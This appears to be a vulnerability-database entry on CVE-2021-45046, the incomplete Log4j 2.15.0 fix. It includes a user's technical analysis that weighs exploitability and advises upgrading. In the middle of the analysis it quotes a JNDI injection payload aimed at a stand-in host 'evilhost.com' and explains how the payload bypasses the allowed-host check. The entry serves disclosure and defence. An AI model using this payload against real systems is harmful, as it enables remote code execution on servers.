Attacker Value
Low
(1 user assessed)
Exploitability
Very High
(1 user assessed)
User Interaction
Unknown
Privileges Required
Unknown
Attack Vector
Unknown
2

CVE-2021-45046

Exploited in the Wild
Add MITRE ATT&CK tactics and techniques that apply to this CVE.
Initial Access
Techniques
Validation
Validated

Description

It was found that the fix to address CVE-2021-44228 in Apache Log4j 2.15.0 was incomplete in certain non-default configurations. This could allows attackers with control over Thread Context Map (MDC) input data when the logging configuration uses a non-default Pattern Layout with either a Context Lookup (for example, $${ctx:loginId}) or a Thread Context Map pattern (%X, %mdc, or %MDC) to craft malicious input data using a JNDI Lookup pattern resulting in an information leak and remote code execution in some environments and local code execution in all environments. Log4j 2.16.0 (Java 8) and 2.12.2 (Java 7) fix this issue by removing support for message lookup patterns and disabling JNDI functionality by default.

Add Assessment

2
Ratings
Technical Analysis

Whilst this was originally considered a DoS vulnerability, new evidence has turned up as noted at https://www.lunasec.io/docs/blog/log4j-zero-day-severity-of-cve-2021-45046-increased/?s=09#update-the-localhost-bypass-was-discovered and later at https://twitter.com/marcioalm/status/1471740771581652995 by Márcio Almeida that is possible to bypass the allowedLdapHost and allowedClasses checks in Log4J 2.15.0. to achieve RCE by simply modifying following PoC slightly:

${jndi:ldap://127.0.0.1#evilhost.com:1389/a}

This bypass works due to the call chain calling java.net.URI getHost() returning the value before the # sign as the real host, which will return 127.0.0.1. However the actual JDNI/LDAP resolver will end up using the full hostname string, so provided you can get it to respond to the weird hostname, you should be good.

Further investigation however shows that this vulnerability is mostly mitigated by a few factors as noted by Kevin Beaumont at https://twitter.com/GossiTheDog/status/1471791074314276867 and in a further Twitter thread by @buherator at https://twitter.com/buherator/status/1471869066470113288.

Specifically the following restrictions apply:

  1. The vulnerability only applies in a nondefault configuration. Specifically %m{lookups} need to be enabled in the message log. On 2.15.0 message lookups come disabled by default, however previous versions may come shipped with this enabled by default.
  2. So far reliable RCE has only been demonstrated on MacOS, and most people aren’t going to be running critical apps on this device.
  3. Whilst it is possible to query the weird name LDAP name on other hosts, it appears, according to the thread at https://twitter.com/buherator/status/1471878423459110913, that the Java resolver enforces restrictions that prevent the name from being resolved. Whilst is is possible to get around this, as noted at https://twitter.com/douglasmun/status/1471884380545044480, it requires the DNS provider on the target system being set to a non-default provider.

It should be noted that developments on this are still ongoing so its likely the situation could change, however this is the latest info I have on this as of the evening of December 17th, 2021. Due to the restrictions I’m rating exploitability as very low as a lot of things must be true from the sounds of it for this to be exploitable, however if it is exploitable the impact is very high and is the same as the log4shell exploit.

It should be noted despite all this that there exists other issues within Log4j versions prior to 2.16 such as Praetorian’s demonstration of sensitive information exfiltration as noted at https://www.praetorian.com/blog/log4j-2-15-0-stills-allows-for-exfiltration-of-sensitive-data/. Therefore whilst this particular vulnerability may not be as impactful there are plenty of other reasons why you should upgrade to 2.16 or later of log4j if you haven’t already.

General Information

Vendors

  • Apache Software Foundation

Products

  • Apache Log4j

Exploited in the Wild

Reported by:

References

Advisory

Additional Info

Technical Analysis